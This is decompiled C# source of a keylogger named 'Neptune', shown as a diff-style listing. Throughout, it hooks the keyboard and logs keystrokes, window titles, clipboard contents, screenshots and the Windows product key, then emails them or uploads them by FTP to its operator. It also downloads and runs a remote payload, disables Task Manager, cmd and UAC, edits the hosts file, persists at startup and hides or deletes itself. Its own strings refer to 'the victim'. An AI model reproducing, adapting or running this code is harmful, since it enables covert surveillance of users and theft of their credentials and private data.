- - public static int BnaCXWygx(int Code, int wParam, ref Module1.adUtWClh lParam) - { - int num; - try - { - object obj = (object) Module1.PnfbnEToc(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.xSuyNXsG = Conversions.ToString(Operators.ConcatenateObject((object) Module1.xSuyNXsG, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.qUyweTneV), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.BUzYpCqnh), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.xSuyNXsG.EndsWith(Module1.BUzYpCqnh + "\r\n") | !Module1.QUtifZro | Module1.xSuyNXsG.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.xSuyNXsG = Module1.xSuyNXsG.Remove(checked (Module1.xSuyNXsG.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.Ztjaoyhh) - { - Module1.UFxFjKvM = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.tPQaxeIYE) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.tPQaxeIYE | Module1.UFxFjKvM) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.tPQaxeIYE ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.tPQaxeIYE ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.Ztjaoyhh) - { - Left = " [tPQaxeIYE] "; - break; - } - Module1.tPQaxeIYE = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.tPQaxeIYE) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.tPQaxeIYE) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.Ztjaoyhh) - Left = "[/tPQaxeIYE]"; - Module1.tPQaxeIYE = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.xSuyNXsG += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.LRNYpq(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.Lzfbba(Conversions.ToInteger(Module1.Delay)); - string cpOeilcCr = Module1.CPOeilcCR; - Module1.CPOeilcCR = Operators.CompareString(cpOeilcCr, "AaD", false) != 0 ? (Operators.CompareString(cpOeilcCr, "FaF", false) != 0 ? (Operators.CompareString(cpOeilcCr, "MaD", false) != 0 ? (Operators.CompareString(cpOeilcCr, "SaF", false) != 0 ? (Operators.CompareString(cpOeilcCr, "WaF", false) != 0 ? Module1.CPOeilcCR : Module1.pWoaeEe) : Module1.giEgkyJ) : Module1.QBuCfsrI) : Module1.LNWgbEUm) : Module1.UYxmjdvs; - Module1.ilogFUN = Module1.TripleDESDecode(Module1.ilogFUN, "System.Net"); - Module1.HqEddFNZC = Module1.TripleDESDecode(Module1.HqEddFNZC, "System.Net"); - Module1.YUfwxT = Module1.TripleDESDecode(Module1.YUfwxT, "System.Net"); - Module1.cIPiqf = Module1.TripleDESDecode(Module1.cIPiqf, "System.Net"); - Module1.ZZBJVx = "\\" + Module1.ZZBJVx; - if (Operators.CompareString(Application.StartupPath, Module1.CPOeilcCR, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.CPOeilcCR + Module1.ZZBJVx)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.cYkBQlZ) - { - ref string local1 = ref Module1.mukQYZX; - ref string local2 = ref Module1.ilogFUN; - ref string local3 = ref Module1.HqEddFNZC; - ref string local4 = ref Module1.xUEPURctI; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.zIwdYYXcN); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.zIwdYYXcN = Conversions.ToString(integer); - } - if (Module1.LqOgsgd) - { - ref string local9 = ref Module1.QufaPj; - ref string local10 = ref Module1.JCJnOz; - ref string local11 = ref Module1.YUfwxT; - ref string local12 = ref Module1.cIPiqf; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.kewtQz) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.WqgXlvee)) - System.IO.File.Delete(Path.GetTempPath() + Module1.WqgXlvee); - MyProject.Computer.Network.DownloadFile(Module1.ZbkIpTiP, Path.GetTempPath() + Module1.WqgXlvee); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.WqgXlvee)) - { - if (Module1.eQJQtVGW) - Process.Start(Path.GetTempPath() + Module1.WqgXlvee, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.WqgXlvee); - } - } - if (Module1.ZNLFXUqNl) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.mzZZBJWxS == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.NVWUZ) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.QPfil) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.IpsNptISn) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.wBbCNHZWs) - Interaction.Shell("C:\\Windows\\System32\\IpsNptISn.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.DxbqK) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.CPOeilcCR + Module1.ZZBJVx); - Process.Start(Module1.CPOeilcCR + Module1.ZZBJVx); - if (Operators.CompareString(Module1.eQWduV, "Melt", false) == 0) - Module1.LRNYpq(); - else if (Operators.CompareString(Module1.eQWduV, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new YRYD(Module1.RvtbQk).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.DgiPVo, "CurrentUser", false) == 0 | Operators.CompareString(Module1.DgiPVo, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.eOZeam.Length != 4) - { - string[] strArray = Strings.Split(Module1.eOZeam, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.FBNQeBCL(); - switch (Module1.mzZZBJWxS) - { - case 3: - new Thread(new ThreadStart(Module1.RwVmym)).Start(); - break; - case 4: - ESabkJ.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.xSuyNXsG, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.CDMWRuKd) - str = str + "System Information - \r\n" + Module1.UkadVt() + "\r\n"; - if (Module1.sdWeIVUk) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.xSuyNXsG = str + Module1.xSuyNXsG; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.ewrh)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.cYkBQlZ) - { - ref string local1 = ref Module1.mukQYZX; - ref string local2 = ref Module1.ilogFUN; - ref string local3 = ref Module1.HqEddFNZC; - ref string local4 = ref Module1.xUEPURctI; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.zIwdYYXcN); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.zIwdYYXcN = Conversions.ToString(integer); - } - } - while (!Module1.LqOgsgd); - Module1.UpFTPImg(ref Module1.QufaPj, ref Module1.JCJnOz, ref Module1.YUfwxT, ref Module1.cIPiqf); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void ewrh() - { - string xSuyNxsG = Module1.xSuyNXsG; - Module1.xSuyNXsG = ""; - if (Module1.cYkBQlZ) - { - ref string local1 = ref Module1.mukQYZX; - ref string local2 = ref Module1.ilogFUN; - ref string local3 = ref Module1.HqEddFNZC; - ref string local4 = ref Module1.xUEPURctI; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref xSuyNxsG; - int integer = Conversions.ToInteger(Module1.zIwdYYXcN); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.zIwdYYXcN = Conversions.ToString(integer); - } - if (!Module1.LqOgsgd) - return; - Module1.UpFTP(ref Module1.QufaPj, ref Module1.JCJnOz, ref Module1.YUfwxT, ref Module1.cIPiqf, ref xSuyNxsG); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.sQLoqXrwF) * 60.0 * 1000.0)))); - - private static void Lzfbba(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string aRfpYY(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string UkadVt() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.aRfpYY((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.aRfpYY((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void RwVmym() - { -label_0: - Module1.Lzfbba(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.Lzfbba(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void LRNYpq() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string mukQYZX, - ref string Dir, - ref string ilogFUN, - ref string HqEddFNZC, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + mukQYZX + Dir + str2, ilogFUN, HqEddFNZC); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + mukQYZX + Dir + str2 + ".gif", ilogFUN, HqEddFNZC); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct adUtWClh - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum VowmSNNM - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - vDVdTyt = 35, // 0x00000023 - hJIYOQI = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - riZmwff = 45, // 0x0000002D - GMITkyH = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - 